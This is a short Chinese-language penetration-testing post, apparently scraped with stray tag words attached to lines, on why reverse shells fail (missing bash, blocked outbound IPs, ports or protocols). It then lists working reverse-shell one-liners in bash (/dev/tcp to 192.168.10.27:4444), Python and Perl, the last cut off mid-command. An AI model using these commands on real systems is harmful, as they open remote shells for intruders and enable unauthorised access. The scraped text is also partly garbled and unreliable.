在实战中,咱们常常会遇到各类各样奇怪的环境。python
反弹shell失败的缘由有不少:shell
- 反弹的命令不存在或当前用户无权限调用bash
- 禁止出站IP
- 禁止出站端口
- 禁止出站协议
反弹的命令不存在或当前用户无权限调用bash
因为这种状况下只局限于Linux,因此不考虑Windowsbash
反弹shell的命令,尽管这么多命令能够反弹shell,可是最终都仍是调用bash来反弹,因此socket
#bash反弹 bash -i >& /dev/tcp/192.168.10.27/4444 0>&1 #python反弹 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' #Perl反弹 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")